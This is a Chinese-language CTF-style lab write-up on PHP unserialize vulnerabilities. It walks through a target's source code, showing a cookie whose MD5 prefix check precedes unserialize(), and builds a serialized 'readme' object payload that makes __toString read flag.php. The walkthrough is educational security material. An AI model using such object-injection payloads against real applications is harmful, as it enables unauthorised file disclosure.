什么是反序列化?
序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)
当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。
与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)
本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个:
construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数) destruct():当对象被销毁时会自动调用。(析构函数)
__wakeup() :如前所提,unserialize()时会自动调用。
首先来了解下toString()方法,当打印一个对象时,如果定义了toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
同时发现$s->source = FILE存在可控变量
尝试构造序列化对象
靶场源码分析:http://117.167.136.245:21880/uns/index.php?source
Class readme{
public function toString()
{
return highlight_file(‘Readme.txt’, true).highlight_file($this->source, true);
}
}
——tostring()魔术方法,当输出一个文件对象时,将其转化为字符串输出,且显示为代码高亮;
if(isset($_GET[‘source’])){
$s = new readme();
$s->source = FILE__;
echo $s;
exit;
}
获取get传参中source的值(有的话),$S新生成一个对象,对象中的source属性指向为_FILE(即目录本身、当前路径),输出$_s这个对象(当然输出时为自动调用__ToString()魔术方法)。最后有一个exit,执行这一块会退出,所以我们不能让这一块执行,所以不能有get传参。
if(isset($_COOKIE[‘todos’])){
$c = $_COOKIE[‘todos’];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
这一块是对cookie的检测和执行,并且有反序列化函数unserialize(),所以这一块是我们需要操作的。这一段代码首先获取传入的cookie值赋值给$c,并且cookie的前三十二位值赋值给$h,后面的赋值给$m,如果后三十二位MD5编码结果与前三十二位相同,则为$todos赋值$m作为参数反序列化执行的结果。配合下面一段代码遍历输出$todos。
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
再下面一段是关于POST传参的判断执行(没有反序列化函数,不能利用):
if(isset($_POST[‘text’])){
$todo = $_POST[‘text’];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie(‘todos’, $h.$m);
header(‘Location: ‘.$_SERVER[‘REQUEST_URI’]);
exit;
}
?>
然后我们就要利用cookie的传参来读取flag.php这一文档
构造payload:
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0%3bO:6:"readme":1:{s:6:"source"%3bs:8:"flag.php"%3b}}
抓包 修改cookie:
获得flag: